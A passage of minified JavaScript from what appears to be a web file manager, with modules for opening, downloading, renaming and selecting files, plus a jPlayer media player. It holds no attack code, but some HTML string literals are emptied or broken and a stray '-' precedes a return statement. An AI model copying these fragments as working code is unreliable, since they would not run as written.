core.openApp(e)}},i=function(e,t){var i='
        '+LNG.unknow_file_tips+"
        "+t+"

        "+' "+LNG.edit+"  "+' "+LNG.unknow_file_download+"
        ";$.dialog({id:"open_unknow_dialog",fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:30,content:i,cancel:!0}),$(".unknow_file a").unbind("click").bind("click",function(){$.dialog.list.open_unknow_dialog.close()})},a=function(e){$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('').appendTo("body")},n=function(e){if(core.authCheck("explorer:fileDownload",LNG.no_permissiondownload)&&e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t="index.php?explorer/fileDownload&path="+urlEncode(e);G.share_page!==void 0&&(t="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),a(t)}},o=function(e){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t=core.path2url(e);window.open(t)}},s=function(e){if(e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i=core.pathExt(e);return"Win32"==navigator.platform||"Windows"==navigator.platform,inArray(core.filetype.doc,i)?(l(e,!0),void 0):(core.pathThis(e),inArray(core.filetype.bindary,i)||inArray(core.filetype.music,i)||inArray(core.filetype.image,i)||inArray(core.filetype.movie,i)||inArray(core.filetype.doc,i)?(t(e,i),void 0):(r(e),void 0))}},r=function(e){var t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if("editor"==Config.pageApp)return ShareData.frameChild("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var i=t.$.dialog.list.openEditor,a=0;i&&("hidden"==$("."+i.config.id).css("visibility")&&(a=200),i.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},a)}else{var n="./index.php?editor/edit#filename="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e)),core.openDialog(n,core.icon("edit"),htmlEncode(e),"openEditor")}},l=function(e,t){var i="./index.php?explorer/officeView&path="+urlEncode(e);G.share_page!==void 0&&(i=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),t!==void 0&&(i+="&is_edit=1"),core.openDialog(i,core.icon(core.pathExt(e)),htmlEncode(core.pathThis(e)))},c=function(t,i){if(t){"string"==typeof t&&(t=[t]);var a=e("./myPlayer");a.play(t,i)}},d=function(e,t){var i=ShareData.frameTop();i.ui.pathOpen.playerInstance(e,t)};return{open:t,playerInstance:c,play:d,openEditor:s,openEditorForce:r,openWindow:o,downloadUrl:a,download:n}}),define("app/common/myPlayer",[],function(e){var t="",i="",a="music_player",n="movie_player",o=function(e){var n=e==a?"mp3":"mp4",o="."+e+"_dialog",s=t,l={width:"70%",height:"60%"};e==a&&(s=i,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(n),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var t=r(e);t.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?a:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?a:n)},r=function(e){var t="."+e+"_dialog",i=$(t);return 0==i.length?!1:i.find(".jPlayer-container")},l=function(e,t){t&&"music"!=t||(t=core.pathExt(e));var i={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},a=i[t],n={extType:a,title:core.pathThis(urlDecode(e)),url:e,solution:"flv"==t||"f4v"==t?"flash":"html,flash"}; -return n[a]=e,n},c=function(e,t){if(t){var i=e.parents(".jPlayer"),a={solution:t.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};i.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(i,a)),e.find("object").length>0?i.addClass("flashPlayer"):i.removeClass("flashPlayer"),e.jPlayer("setMedia",t),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(i),setTimeout(function(){var e=i.parents(".dialog-simple").find(".aui_titleBar").attr("id"),a=$.dialog.list[e];a&&a.title(t.title)},100)}},d=function(e,t){var i=s(t),n=r(i),d=l(e[0],t);n||(n=o(i),i==a&&p.init()),i==a&&(d=p.insert(n,e,t)),c(n,d);try{$.dialog.list[i+"_dialog"].display(!0)}catch(u){}},p=function(){var e=[],t=0,i=null,a="circle",n=function(a,n){i=a;for(var s=e.length,r=0;n.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==n[r]){c=!0;break}if(c){if(r==n.length-1)return t!=d&&o(d),!1}else{var p=core.pathExt(n[r]);inArray(core.filetype.music,p)&&e.push(l(n[r],p))}}return e.length==s?!1:(t=e.length-1,u(!0),e[t])},o=function(a){a=0>=a?0:a,a=a>=e.length-1?e.length-1:a,t=a;var n=e[a];c(i,n),u(!1)},s=function(i){switch(a){case"circle":"next"==i?e.length-1>t?o(t+1):o(0):0>t-1?o(e.length-1):o(t-1);break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(t);break;default:}},r=function(t){e.remove(t),o(t),u(!0)},d=function(t){var i=e[t],a=i.url+"&download=1";ui.pathOpen.downloadUrl(a)},p=function(){t=0,e=[],a="circle";var i=$(".jPlayer-music"),n=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];i.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=n.length?0:e;var t=n[e];$(this).attr("data-loop",e).find("i").attr("class",t.icon),a=t.loop}),i.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),i.find(".play-forward").unbind("click").bind("click",function(){s("next")}),i.find(".show-list").unbind("click").bind("click",function(e){i.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),i.find(".play-list .item").die("click").live("click",function(e){var t=$(this).index();o(t),stopPP(e)}),i.find(".play-list .remove").die("click").live("click",function(e){var t=$(this).parents(".item"),i=t.index();return t.remove(),r(i),stopPP(e),!1}),i.find(".play-list .download").die("click").live("click",function(e){var t=$(this).parents(".item").index();return d(t),stopPP(e),!1})},u=function(a){var n=$(i).parents(".jPlayer");if(a){var o="";$.each(e,function(e,t){o+='
      • '+t.title+'
      • '}),n.find(".play-list .content").html(o)}return 0!=e.length&&e[t]?(n.find(".item-title").html(e[t].title),n.find(".item").removeClass("this"),n.find(".item:eq("+t+")").addClass("this"),f(n.find(".player-bg")),void 0):(t=0,n.find(".item-title").html("  "),i.jPlayer("destroy"),i.find(".jPlayer-container").children().remove(),void 0)},f=function(e){var t=h(),i=h(),a="160deg",n="background-image: -webkit-linear-gradient("+a+", "+t+", "+i+"); background-image: -moz-linear-gradient("+a+", "+t+", "+i+"); background-image: -o-linear-gradient("+a+", "+t+", "+i+"); background-image: -ms-linear-gradient("+a+", "+t+", "+i+"); background-image: linear-gradient("+a+", "+t+", "+i+");";e.attr("style",n)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:n,init:p}}(),u=function(a,o){var r=s(o);r==n?e.async(["lib/jPlayer/kod.flat/movie.html","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(e){t=e,d(a,o)}):e.async(["lib/jPlayer/kod.flat/music.html","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(e){i=e,d(a,o)})},f=function(t,i){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html,flash",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:t},ready:function(){i.jPlayer("setMedia",e.media).jPlayer("play")}};i.jPlayer("destroy").children().remove(),i.jPlayer(e)})};return{play:u,playSound:f}}),define("app/src/explorer/path",["../../common/pathOperate","../../common/pathOpen","../../common/myPlayer"],function(e){var t=e("../../common/pathOperate"),i=e("../../common/pathOpen"),a=void 0;ui.pathOpen=i;var n=function(){if(G.json_data.info.path_type==G.KOD_USER_RECYCLE||G.json_data.info.path_type==G.KOD_USER_SHARE)return!0;var e=ui.fileLight.fileListSelect();return e.hasClass("systemBox")?(Tips.tips(LNG.path_can_not_action,"warning"),!1):!0},o=function(e,t,i,a){if(void 0!=e){if("explorer"!=Config.pageApp)return core.explorer(e),void 0;if(e==G.this_path)return void 0!=t&&""!=t&&Tips.tips(LNG.path_is_current,"info"),void 0;if(G.this_path=e.replace(/\\/g,"/"),G.this_path=e.replace(/\/+/g,"/"),"/"!=G.this_path.substr(G.this_path.length-1)&&(G.this_path+="/"),$(".dialog_file_upload").length>0){var n="hidden"==$(".dialog_file_upload").css("visibility");core.upload(),n&&$(".dialog_file_upload").css("visibility","hidden")}if(G.sid!==void 0&&(window.location.href="#"+urlEncode(G.this_path)),core.playSound("folder_open"),ui.tree.setSelect(G.this_path),a||ui.path.history.add(G.this_path),"list_split"==G.user_config.list_type){var o=$(".split_box .file[data-path="+pathHashEncode(G.this_path)+"]");if(0!=o.length&&0!=o.find(".children_more_cert").length)return o.click(),void 0;$(".fileList_list_split .split_box").remove()}ui.f5Callback(function(){"function"==typeof i&&i()})}},s=function(){var e=[],t=60,i=0,a=function(a){var n=e.length-1;return n==i&&e[n]==a?r():(i!=n&&(e=e.slice(0,i+1)),e[e.length-1]!=a&&e.push(a),e.length>=t&&(e=e.slice(1)),i=e.length-1,r(),void 0)},n=function(){e.length-1>=i+1&&(o(e[++i],"","",!0),r())},s=function(){i-1>=0&&(o(e[--i],"","",!0),r())},r=function(){var t="disable",a=e.length-1;$("#history_next").addClass(t),$("#history_back").addClass(t),(0!=i||0!=a)&&(i>0&&a>=i&&$("#history_back").removeClass(t),i>=0&&i!=a&&$("#history_next").removeClass(t))};return{add:a,back:s,next:n,list:function(){return e}}}(),r=function(e){if(void 0!=e){"string"==typeof e&&(e=[e]);for(var t=0;e.length>t;t++)e[t]=trim(e[t],"/");ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(){var t=trim(ui.fileLight.path($(this)),"/");t&&-1!=$.inArray(t,e)&&$(this).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView()}},l=function(e){if(""!=e){if(e=e.toLowerCase(),void 0==a||G.this_path!=a.path||e!=a.key){var t=[];ui.fileLight.fileListAll().each(function(){var i=ui.fileLight.name($(this)),a=ui.fileLight.path($(this));i&&e==i.substring(0,e.length).toLowerCase()&&t.push(a)}),a={key:e,path:G.this_path,index:0,list:t}}0!=a.list.length&&(r(a.list[a.index++]),a.index==a.list.length&&(a.index=0))}},c=function(e){return""==e?(ui.fileLight.clear(),void 0):(ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(t){var i=ui.fileLight.name($(this));-1!=i.toLowerCase().indexOf(e)&&$(ui.fileLight.fileListAll()).eq(t).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView(),void 0)},d=function(e,t){var i=G.this_path+e;return void 0==t&&(i+="/"),0!=$('.bodymain .file[data-path="'+pathHashEncode(i)+'"]').length?!0:!1},p=function(e,t){var i,a=0,n="."+t;if(void 0==t&&(n=""),!d(e+n,t))return e+n;for(i=e+"(0)"+n;d(i,t);)a++,i=e+"("+a+")"+n;return i},u=function(e,i){var a,n=0,o=G.json_data.folderlist,s=G.json_data.filelist,r=o,l=G.user_config.list_sort_field,c=G.user_config.list_sort_order,d={name:e,size:0,ext:i,mtime:date("Y/m/d H:i:s",time())};for("desktop"==Config.pageApp&&(n+=$(".menuDefault").length+1),"file"==i?(d.ext=core.pathExt(e),r=s,"up"==c&&(n+=o.length)):"down"==c&&(n+=s.length),a=0;r.length>a;a++)if("down"==c){if(-1==t.strSort(r[a][l],d[l]))break}else if(-1!=t.strSort(r[a][l],d[l]))break;return a+n-1},f=function(i,a,n){ui.fileLight.clear();var o=u(a,i),s=$(Config.FileBoxSelector);"list_split"==G.user_config.list_type&&(s=$(".split_box.split_select").find(".content"));var r=e("./tpl/file_create.html"),l=template.compile(r),c=l({type:i,newname:a,ext:n,list_type:G.user_config.list_type});if(-1==o||0==s.find(".file").length)s.html(c+s.html());else{var p=s.find(".file:eq("+o+")");0==p.length&&(p=s.find(".file").last()),"list_split"==G.user_config.list_type&&(p=$(".split_box.split_select .file").last()),$(c).insertAfter(p)}var f=$(".textarea .newfile"),h=a.length;"folder"!=i&&-1!=a.indexOf(".")&&(h=a.length-n.length-1),f.textSelect(0,h),"list_split"==G.user_config.list_type&&f.css("width",f.parents(".filename").width()-40),"icon"==G.user_config.list_type?($("#makefile").css({height:$("#makefile").width()+15,"margin-left":"3px",transition:"none"}),$("#makefile .textarea").css("margin-top","-13px")):$("#makefile .x-item-file").addClass("small"),"desktop"==Config.pageApp&&ui.resetDesktopIcon();var _=function(e){if(""==trim(e))return $("#makefile").remove(),Tips.tips(LNG.error,"warning"),void 0;if(d(e,n))$("#makefile").remove(),Tips.tips(LNG.path_exists,"warning");else{var a=G.this_path;"list_split"==G.user_config.list_type&&(a=ui.fileLight.path($(".file_icon_edit").parents(".split_box"))),"folder"==i?t.newFolder(a+e,m):t.newFile(a+e,m)}};ui.fileLight.setInView($(".fileContiner .file_icon_edit")),f.focus().autoTextarea(),f.unbind("keydown").keydown(function(e){13==e.keyCode&&(stopPP(e),e.preventDefault(),_(f.attr("value"))),27==e.keyCode&&$("#makefile").remove()}).unbind("blur").blur(function(){_(f.attr("value"))})},h=function(){var e="",i=ui.fileLight.fileListSelect(),a=ui.fileLight.name(i),o=core.pathFather(ui.fileLight.path(i)),s=ui.fileLight.type(i);if(1==i.length&&n()){if(i.hasClass("menuSharePath"))return ui.path.shareEdit(),void 0;var r=htmlEncode(rtrim(a,".oexe")),l="";"icon"==G.user_config.list_type&&(l="",i.css({height:i.height()})),$(i).addClass("file_icon_edit").find(".title").html("
        "+l+"
        ");var c=$("#pathRenameTextarea");"list_split"==G.user_config.list_type&&c.css({width:c.parents(".filename").width()-32,height:c.parents(".filename").height()+1});var d=a.length;"folder"!=s&&-1!=a.indexOf(".")&&(d=a.length-s.length-1),s||0!=a.indexOf(".")?c.textSelect(0,d):c.textSelect(0,a.length);var p=function(n){if("oexe"==s&&(n+=".oexe"),n!=a)e=o+a,n=o+n,t.rname(e,n,m);else{var r=a;".oexe"==r.substr(-5)&&(r=r.substr(0,r.length-5)),$(i).removeClass("file_icon_edit").find(".title").html(htmlEncode(r))}};c.focus().autoTextarea(),c.keydown(function(e){13==e.keyCode&&(e.preventDefault(),stopPP(e),p(c.attr("value"))),27==e.keyCode&&("oexe"==s&&(a=a.replace(".oexe","")),$(i).removeClass("file_icon_edit").find(".title").html(a))}).unbind("blur").blur(function(){p(c.val())})}},m=function(e){ui.fileLight.clear(),ui.f5Callback(function(){r(e),"explorer"==Config.pageApp&&ui.tree.checkIfChange(G.this_path)})},_=function(e){if(e){var t=[];if(0==ui.fileLight.fileListSelect().length)return t;ui.fileLight.fileListSelect().each(function(){var e=ui.fileLight.path($(this)),i="folder"==ui.fileLight.type($(this))?"folder":"file";t.push({path:e,type:i})});for(var i="",a=[],n=0;t.length>n;n++){var o=t[n].path;(""==i||0!=o.indexOf(i))&&(i=o,a.push(t[n]))}return a}if(1!=ui.fileLight.fileListSelect().length)return{path:"",type:""};var s=ui.fileLight.fileListSelect(),r=ui.fileLight.path(s),l=ui.fileLight.type(s);return{path:r,type:l}},v=function(e,t){for(var i in G.json_data)if("filelist"==i||"folderlist"==i)for(var a=0;G.json_data[i].length>a;a++)if(G.json_data[i][a][e]==t)return G.json_data[i][a]};return{makeParam:_,history:s,getJsondataCell:v,checkSystemPath:n,appEdit:function(e){if(e)t.appEdit(0,0,"user_add");else{var i=ui.fileLight.fileListSelect().attr("data-app"),a=jsonDecode(base64Decode(i));a.path=ui.fileLight.path(ui.fileLight.fileListSelect()),t.appEdit(a)}},appList:function(){t.appList(_().path)},appInstall:function(){t.appInstall(_().path)},openEditor:function(){i.openEditor(_().path)},openWindow:function(){var e=_();return"folder"==e.type&&-1!=core.path2url(e.path).search("explorer/fileProxy")?(Tips.tips(LNG.path_can_not_action,!1),void 0):(i.openWindow(e.path),void 0)},open:function(e){if("editor"==Config.pageApp)return i.open(e),void 0;if(void 0!=e)return i.open(e),void 0;if(0!=ui.fileLight.fileListSelect().length){var t=_(),a=ui.fileLight.fileListSelect();if(inArray(core.filetype.image,t.type))return ui.picasa.initData(),ui.picasa.play($(a).find(".picasaImage")),void 0;if(0!=$(a).find(".file_not_exists").length)return Tips.tips(LNG.share_error_path,!1),void 0;if("oexe"==t.type){var n=a.attr("data-app");t.path=jsonDecode(base64Decode(n))}("list_split"!=G.user_config.list_type||"folder"!=t.type)&&i.open(t.path,t.type)}},play:function(){if(!(1>ui.fileLight.fileListSelect().length)){var e=[];ui.fileLight.fileListSelect().each(function(){var t=ui.fileLight.type($(this));if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var i=core.path2url(ui.fileLight.path($(this)),!1);e.push(i)}}),i.play(e,"music")}},pathOperate:t,share:function(){t.share(_())},setBackground:function(){var e=core.path2url(_().path);ShareData.frameTop("",function(t){t.ui.setWall(e)}),ui.setWall(e),t.setBackground(e)},createLink:function(e){var i=_(),a=ui.fileLight.fileListSelect().last();i.name=trim(a.find(".filename").text()),t.createLink(i.path,i.name,i.type,e,m)},createProject:function(){t.createProject(_().path,m)},download:function(){var e=_(!0);1==e.length&&"file"==e[0].type?i.download(_().path):t.zipDownload(e)},shareEdit:function(){var e=v("path",_().path);try{var i=G.json_data.share_list[e.sid];t.shareBox(i)}catch(a){}},shareOpenWindow:function(){var e=v("path",_().path),t=e.type;"folder"==e.type&&(t=1==e.code_read?"code_read":"folder");var i="./index.php?share/"+t+"&user="+G.json_data.info.id+"&sid="+e.sid;window.open(i)},shareOpenPath:function(){var e=_(),t=v("path",e.path);if(!t||!G.json_data.share_list)return i.open(e.path,e.type),void 0;var a=G.json_data.share_list[t.sid],n=core.pathFather(a.path),o=core.pathThis(a.path);"folder"==a.type?ui.path.list(a.path,""):ui.path.list(n,"",function(){r(o)})},explorer:function(){core.explorer(_().path)},explorerNew:function(){window.open("index.php?/explorer&path="+_().path)},openProject:function(){core.explorerCode(_().path)},search:function(){core.search("",_().path)},fav:function(){var e=_(),i=ui.fileLight.fileListSelect().last();e.name=trim(i.find(".filename").text()),t.fav(e)},recycleClear:function(){t.remove([{type:"recycle_clear",path:""}],function(){ui.f5()})},remove:function(e){if(n()){var i=_(!0);G.json_data.info&&G.json_data.info.path_type==G.KOD_USER_SHARE&&G.json_data.info.id==G.user_id&&-1==trim(G.this_path,"/").indexOf("/")&&$.each(i,function(e){var t=v("path",i[e].path);void 0!=t&&(i[e].type="share",i[e].path=t.sid)}),t.remove(i,m,e)}},favRemove:function(){var e=$(".file.select .filename");e.each(function(i){var a=trim($(this).text());i!=e.length-1?t.favRemove(a,"",!0):t.favRemove(a,function(e){Tips.tips(e),ui.tree.refreshFav()},!0)})},copy:function(){n()&&t.copy(_(!0))},cute:function(){n()&&t.cute(_(!0),ui.f5)},zip:function(){t.zip(_(!0),m)},unZip:function(e){n()&&t.unZip(_().path,ui.f5,e)},cuteDrag:function(e){t.cuteDrag(_(!0),e,m)},copyDrag:function(e,i){t.copyDrag(_(!0),e,m,i)},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){t.copyDrag(_(!0),e,m,!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){t.cuteDrag(_(!0),e,m)})},info:function(){t.info(_(!0))},past:function(){var e=G.this_path;"list_split"==G.user_config.list_type&&($containBox=$(".split_box.split_select"),1==$containBox.length&&(e=ui.fileLight.path($containBox))),t.past(e,m)},newFile:function(e){void 0==e&&(e="txt"),f("file",p("newfile",e),e)},newFolder:function(){f("folder",p(LNG.newfolder),"")},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+_().path;window.open(e)},rname:h,list:o,setSearchByStr:c,setSelectByChar:l,setSelectByFilename:r,clipboard:t.clipboard}}),define("app/src/explorer/tpl/file_create.html",[],"
        \n {{if list_type=='list'}}{{/if}}\n
        \n \n {{if type=='folder'}}\n
        {{\"folder\" | core.icon}}
        \n {{else}}\n
        {{ext | core.icon}}
        \n {{/if}}\n
        \n {{if list_type=='icon'}}\n \n {{else}}\n \n {{/if}}\n
        \n
        \n
        \n
        \n
        \n"),define("app/src/explorer/fileLight",[],function(){var e=$(),t=$(),i=function(){var e;e="list_split"!=G.user_config.list_type?$(".bodymain .fileContiner .file"):$(".bodymain .fileContiner .split_select .file"),t=e,f("clear"),n()},a=function(){var t=$(Config.SelectClass);e=t,t.length>1&&c(t),f("menufile"),o()},n=function(){if(G.json_data&&G.json_data.filelist){var e=G.json_data.filelist.length+G.json_data.folderlist.length;$(".file_select_info .item_num").html(e+LNG.folder_info_item)}},o=function(){var t="",i=0,a=e;0!=a.length&&(t=a.length+LNG.folder_info_item_select,a.each(function(){i+=parseInt($(this).attr("data-size"))}),0!=i&&(t=t+" ("+core.fileSize(i)+")")),$(".file_select_info .item_select").html(t)},s=function(t){var i=e;if(void 0==t&&i&&i.length>=1&&(t=$(i[i.length-1])),void 0!=t&&!t.inScreen()){var a=$(".bodymain");"list_split"==G.user_config.list_type&&(a=t.parent());var n=t.offset().top-a.offset().top-a.height()/2+a.scrollTop();a.stop(!0).animate({scrollTop:n},100)}},r=function(e){return core.pathThis(h(e))},l=function(e){return e.find(".ico").attr("filetype")},c=function(e){if(G.json_data.info)switch(G.json_data.info.path_type){case G.KOD_USER_RECYCLE:return;case G.KOD_USER_FAV:return e.removeClass("menuFavPath").addClass("menuFavPathMore"),void 0;case G.KOD_USER_SHARE:if(-1==trim(G.this_path,"/").search("/"))return e.removeClass("menuSharePath").addClass("menuSharePathMore"),void 0;case G.KOD_GROUP_ROOT_SELF:case G.KOD_GROUP_ROOT_ALL:return e.removeClass("menuGroupRoot").addClass("menuGroupRootMore"),void 0;default:}e.removeClass("menufile menufolder").addClass("menuMore"),f()},d=function(e){var t={fileBox:"menufile",folderBox:"menufolder",menuRecyclePath:"menuRecyclePath",menuSharePathMore:"menuSharePath",menuFavPathMore:"menuFavPath",menuGroupRootMore:"menuGroupRoot",menuDefault:"menuDefault"};e.removeClass("menuMore");for(var i in t)e.hasClass(i)&&e.addClass(t[i]);f()},p=function(){var t=[];if(0!=e.length)return e.each(function(){t.push(h($(this)))}),t},u=function(){if(0!=e.length){var t=e;t.removeClass(Config.SelectClassName),t.each(function(){d($(this))}),e=$(),f(),o()}},f=function(){0==e.length?($(".drop-menu-action li").addClass("disabled"),$(".drop-menu-action #past").removeClass("disabled"),$(".drop-menu-action #info").removeClass("disabled"),$(".kod_path_tool #download").addClass("disabled")):($(".drop-menu-action li").removeClass("disabled"),$(".kod_path_tool #download").removeClass("disabled"),e.length>1?$(".drop-menu-action").find("#open,#rname,#past,#share,#createLink,#add_to_fav").addClass("disabled"):$(".drop-menu-action").find("#open,#rname,#past,#share,#createLink,#add_to_fav").removeClass("disabled"))},h=function(e,t){return void 0==t&&(t="data-path"),void 0!=e.attr("data-path-children")&&(t="data-path-children"),pathHashDecode(e.attr(t))};return{init:i,name:r,path:h,type:l,fileListSelect:function(t){return t&&(e=t),e},fileListAll:function(e){return e&&(t=e),t},select:a,setInView:s,setMenu:c,resumeMenu:d,getAllName:p,clear:u,menuAction:f}}),define("app/src/explorer/fileSelect",[],function(){var e=!1,t=!1,i=!1,a=function(){$(Config.FileBoxClass).die("touchstart").live("touchstart",function(){$(this).hasClass("select")?ui.path.open():(ui.fileLight.clear(),$(this).removeClass("select"),$(this).addClass("select"),ui.fileLight.select())});var a=function(e){!e.hasClass(Config.TypeFolderClass)&&!e.hasClass("menuRecycleButton")||e.hasClass(Config.SelectClassName)||($(".selectDragTemp").removeClass("selectDragTemp"),e.addClass("selectDragTemp"))},l=function(){};$(Config.FileBoxClass).die("mouseenter").live("mouseenter",function(){t&&a($(this)),e||t||$(this).addClass(Config.HoverClassName),l($(this)),$(this).unbind("mousedown").bind("mousedown",function(e){if($(e.target).is("input")||$(e.target).is("textarea"))return!0;if($(this).focus(),rightMenu.hidden(),$(e.target).parents(".children_more").length>0)return ui.fileContent.pathChildrenTree($(this)),stopPP(e),!1;if(!(e.ctrlKey||e.metaKey||e.shiftKey||$(this).hasClass(Config.SelectClassName)))return ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),!0;if(3!=e.which||$(this).hasClass(Config.SelectClassName)||(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select()),(e.ctrlKey||e.metaKey)&&($(this).hasClass(Config.SelectClassName)?i=!0:(ui.fileLight.setMenu($(this)),$(this).addClass(Config.SelectClassName)),ui.fileLight.select()),e.shiftKey){var t=h.fileListAll($(this)),a=h.fileListSelect($(this)),n=t.index($(this));if(0==a.length)x(0,n,t);else{var o=t.index(a.first()),s=t.index(a.last());o>n?x(n,s,t):n>s?x(o,n,t):x(o,n,t)}}return!0}).unbind("mouseup").bind("mouseup",function(){return $(".selectDragTemp").removeClass("selectDragTemp"),!0})}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(Config.HoverClassName),t&&$(this).removeClass("selectDragTemp")}).die("click").live("click",function(e){return stopPP(e),t?!1:(0==$(this).find(".textarea").length&&0==$(".file-draging-box").length&&(e.ctrlKey||e.metaKey||e.shiftKey?(e.ctrlKey||e.metaKey)&&i&&(i=!1,ui.fileLight.resumeMenu($(this)),$(this).removeClass(Config.SelectClassName),ui.fileLight.select()):(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),r($(this)))),void 0)}).die("dblclick").live("dblclick",function(e){if(!($(e.target).is("textarea")||$(e.target).is("input")||$(e.target).hasClass("children_more")||$(e.target).hasClass("children_more_cert")))if(e.altKey)ui.path.info();else{if(1!=ui.fileLight.fileListSelect().length)return;if("list_split"==G.user_config.list_type&&s($(this))){var t=ui.fileLight.path($(this));return G.this_path="",$(".fileList_list_split .split_box").remove(),ui.path.list(t),void 0}ui.path.open()}}),n(),o()},n=function(){var e;$("#folderList a").die("mouseenter").live("mouseenter",function(){if(t){$(this).hasClass("menuTreeFolder")&&$(this).addClass("curDropTreeNode"),clearTimeout(e),e=!1;var i=ui.tree.zTree(),a=i.getNodeByTId($(this).parent().attr("id"));!a.open&&a.isParent&&(e=setTimeout(function(){i.expandNode(a,!0)},600))}}).die("mouseup").live("mouseup",function(){if(t){$(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1;var i=ui.tree.zTree(),a=i.getNodeByTId($(this).parent().attr("id"));setTimeout(function(){a.isParent=!0,i.reAsyncChildNodes(a,"refresh")},100)}}).die("mouseleave").live("mouseleave",function(){t&&($(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1)})},o=function(){$(".header-middle .yarnlet a").die("mouseenter").live("mouseenter",function(){t&&$(this).addClass("curDropToPath")}).die("mouseup").live("mouseup",function(){t&&$(this).removeClass("curDropToPath")}).die("mouseleave").live("mouseleave",function(){t&&$(this).removeClass("curDropToPath")})},s=function(e){return"icon"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")?!0:!1:"list"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:"list_split"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:void 0},r=function(e){if("list_split"==G.user_config.list_type&&s(e)&&1==ui.fileLight.fileListSelect().length){var t=ui.fileLight.path(e);ui.path.history.add(t),ui.fileContent.pathChildrenSplit(t,function(){c(t)})}},l=function(){var e=".fileList_list_split .split_box",t="split_hover";$(e).live("mouseenter",function(){$(e).removeClass(t),$(this).addClass(t)}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(t)}).die("click").live("click",function(){c(ui.fileLight.path($(this)))}).die("mousedown").live("mousedown",function(e){var t=$(e.target).parents(".file");(0==t.length||0==t.find(".children_open").length)&&c(ui.fileLight.path($(this)))})},c=function(e){var t=$(".fileList_list_split .split_box"),i=$('.fileList_list_split .split_box[data-path="'+pathHashEncode(e)+'"]'),a=$('.fileList_list_split .split_box .file[data-path="'+pathHashEncode(e)+'"]'),n="split_select";0==i.length&&(i=t.last()),t.removeClass(n),i.addClass(n),0==ui.fileLight.fileListSelect().length&&a.addClass("select"),ui.fileLight.select();var o=i.data("jsonData");o&&e&&(ui.fileContent.pathTypeChange(o),G.this_path=e,G.json_data=o,ui.headerAddress.addressSet()),ui.fileLight.init()},d=function(e){return e.hasClass("menuSharePath")||e.hasClass("systemBox")?!1:!0},p=function(){var 